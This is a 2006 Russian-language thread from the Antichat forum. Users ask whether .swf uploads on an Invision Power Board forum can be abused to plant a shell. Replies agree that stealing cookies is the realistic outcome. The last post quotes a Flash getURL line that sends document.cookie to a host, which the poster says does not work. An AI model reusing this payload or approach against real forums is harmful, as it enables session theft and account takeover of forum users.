HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Загрузка файлов с розширение .swf, в форуме Invision Power Board
  #1  
Старый 28.11.2006, 19:39
N0n$e№Z
Новичок
Регистрация: 27.11.2006
Сообщений: 17
С нами: 10238626

Репутация: 13
По умолчанию Загрузка файлов с розширение .swf, в форуме Invision Power Board

Я бы хотел узнать,там на форуме разрешина заливка файлов .swf а ведь во флешке можно скрипты прописать!Есть возможность залить шелл??Если я сказал тупость просьба не ставить минус пжлс!!

Последний раз редактировалось _-[A.M.D]HiM@S-_; 29.11.2006 в 02:33..
 
Ответить с цитированием

  #2  
Старый 28.11.2006, 20:02
_Great_
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
С нами: 10721066

Репутация: 4360


По умолчанию

Флеш выполняется в браузере на стороне клиента.
 
Ответить с цитированием

  #3  
Старый 09.12.2006, 16:49
ReanimatoR
Участник форума
Регистрация: 27.08.2006
Сообщений: 223
С нами: 10371202

Репутация: 341
По умолчанию

есть возможность только стырить куки=)
 
Ответить с цитированием

  #4  
Старый 09.12.2006, 16:58
Gh0s7
Участник форума
Регистрация: 23.11.2006
Сообщений: 226
С нами: 10244426

Репутация: 864
По умолчанию

В свф шелл ты не зальешь

розширение (С)

ггг.
 
Ответить с цитированием

  #5  
Старый 09.12.2006, 17:16
slider
Members of Antichat - Level 5
Регистрация: 04.09.2005
Сообщений: 528
С нами: 10885346

Репутация: 2947


По умолчанию

ИМХО ... сможеш сперетьь только куки!
 
Ответить с цитированием

  #6  
Старый 10.12.2006, 21:10
Zeratull
Познающий
Регистрация: 22.11.2006
Сообщений: 56
С нами: 10245911

Репутация: 20
По умолчанию

Цитата:
Сообщение от N0n$e№Z  
Я бы хотел узнать,там на форуме разрешина заливка файлов .swf а ведь во флешке можно скрипты прописать!Есть возможность залить шелл??Если я сказал тупость просьба не ставить минус пжлс!!
вроде читал на ибресурс что через swf большая дыра открывается, поэтому его обычно и не разрешают на форумах.

сейчас вот хотел найти эту тему где читал, что то не нашёл
 
Ответить с цитированием

  #7  
Старый 10.12.2006, 21:55
Sn@k3
Познавший АНТИЧАТ
Регистрация: 13.04.2006
Сообщений: 1,738
С нами: 10566621

Репутация: 1198


По умолчанию

Цитата:
Сообщение от slider  
ИМХО ... сможеш сперетьь только куки!

хорошо бы)))

Автору: имея булочки, мона залить шеллу
 
Ответить с цитированием

  #8  
Старый 11.12.2006, 07:57
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
С нами: 10459106

Репутация: 2996


По умолчанию

Возможно чтение произвольных файлов через Action Script.
 
Ответить с цитированием

  #9  
Старый 11.12.2006, 07:58
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
С нами: 10459106

Репутация: 2996


По умолчанию

Читать тут.
http://www.flasher.ru/
 
Ответить с цитированием

  #10  
Старый 27.12.2006, 02:34
Thanat0z
Постоянный
Регистрация: 06.12.2006
Сообщений: 762
С нами: 10225766

Репутация: 2062


По умолчанию

кстати, на испутыемом форуме не могу залить аватар в флехе, на локалхосте такой же форум, и всё разрешено и тоже не грузит.
Загружаю через инет - на испытуемый залилось, но не играет, а на локалхост вылетает апач

Кстати, какую правильно строку надо?

getURL("javascript:document.src=\"http://localhost/s/s.gif?\"+document.cookie")

не работает, в ИЕ выскакиваеи попапом.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Взлом форумов IPB (Invision Power Board) < 2.0.4 Ice_Fro$T Уязвимости CMS / форумов 19 18.11.2006 09:19
Уязвимости в Invision Power Board(U) v1.3 PF1. Вопрос. dukalis(AwP) Уязвимости CMS / форумов 14 19.04.2006 19:40
Сколько полей в таблице ibf_topics в форуме Invision Power Board 1.3.1? LittleLamer Уязвимости CMS / форумов 2 29.01.2005 03:25



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.